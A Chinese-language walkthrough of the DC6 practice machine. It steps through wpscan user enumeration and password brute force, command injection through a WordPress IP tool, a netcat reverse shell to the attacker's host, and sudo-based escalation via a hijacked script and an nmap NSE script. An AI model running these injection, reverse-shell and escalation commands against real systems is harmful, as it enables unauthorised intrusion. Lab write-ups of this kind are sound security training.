DC6靶机的渗透测试与复盘
1.环境准备
下载DC6靶机,导入VM,然后设置为NAT模式,kali也设置为NAT模式。
2.信息收集
扫描同网段下的ip,找到192.168.204.147为DC6靶机的ip
利用nmap扫描靶机ip得到开放了80端口和22端口
访问该网页,发现无法访问,但是网址变成了wordy(根据DC6的作者提示,需要设置hosts文件,加上格式为ip wordy)
编辑hosts文件,加上192.168.204.147 wordy
再次访问,发现成功进入主页面(发现没有什么关键信息)
于是利用dirsearch扫描网页目录,发现有一个wp-login,很可能是后台登录页面
访问以后发现确实是,不过我们没有用户名和密码
3.漏洞挖掘
wpscan --url http://wordy/ -e u 用wpscan工具扫描网站用户名,发现有五个用户名,将五个用户名放入user.txt中。根据官网的提示,cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt,将密码词典中带有k01的密码放入passwords.txt中,这样能够减少我们很多时间。
wpscan --url http://wordy -U /home/kali/Desktop/user.txt -P /home/kali/Desktop/password.txt(用户名和密码都被我放到了桌面,用这段指令指定用户名和密码,进行爆破,成功爆破出mark的密码)
利用mark的账号密码进行登录,可以在users中发现每个用户的权限信息。不过对我们作用并不是特别大,我们得看有没有别的可利用的。
在Activity monitor中,我们发现有一个IP tools可以将ip地址转换。(或许这是一种前台输入,后台执行命令的输入框呢)
前端输入框有长度限制,通过浏览器F12修改 maxlength 属性,突破长度限制,拼接执行系统命令。192.168.204.147&cat /etc/passwd
点击第一个按钮并不会出现结果,但是点击第二个按钮lookup发现成功读取到了,说明命令成功。那么就可以用这个方法进行反弹shell
4.漏洞利用
kali终端进行监听4444端口,等待DC6的连接
输入框中填入:192.168.204.147 & nc 192.168.204.128 4444 -e /bin/bash 用 & 拼接命令,实现后台执行反弹shell。接着利用python -c "import pty;pty.spawn('/bin/bash')"将shell切换为交互式。
查看该用户可以用sudo权限执行的命令,发现没有
5.进行提权
在 /home/mark 目录下发现敏感文件,从中获取graham用户的密码
使用 su graham 切换用户。
查询该用户可以用sudo权限执行的命令,发现有一个,可以无密码执行jens用户的特定的脚本,既然如此,我们或许可以给这个脚本动动手脚。
/bin/bash放入该脚本中,在执行以后,能够得到jens用户的shell
以jens用户的身份执行该脚本,发现成功得到了jens用户的shell
梅开二度,继续看当前用户有哪些sudo权限指令可以执行,发现可以以root身份无密码执行nmap命令
在tmp文件夹中,创建一个shell.nse脚本,echo 'os.execute("/bin/bash")' > /tmp/shell.nse用这个指令写入脚本
sudo nmap --script=/tmp/shell.nse执行nmap的命令,发现成功执行,并且得到了root,提权成功!
6.渗透复盘
1. 信息收集 → 发现 80 端口 WordPress
2. 修改 hosts 绑定域名,正常访问网站
3. wpscan 枚举用户 + 过滤密码字典爆破
4. 后台 IP 工具存在命令执行,反弹shell
5. 提权链:
网页 → 拿到 WordPress 后台账号:mark
后台 IP 工具命令执行 → 拿到 www-data 权限的 shell
在 /home/mark 下发现密码 → 切换为系统用户 graham
graham 利用 sudo 劫持脚本 → 拿到 jens
jens 利用 sudo nmap 脚本提权 → 拿到 root
6. 拿下 root,获取 flag,通关完结
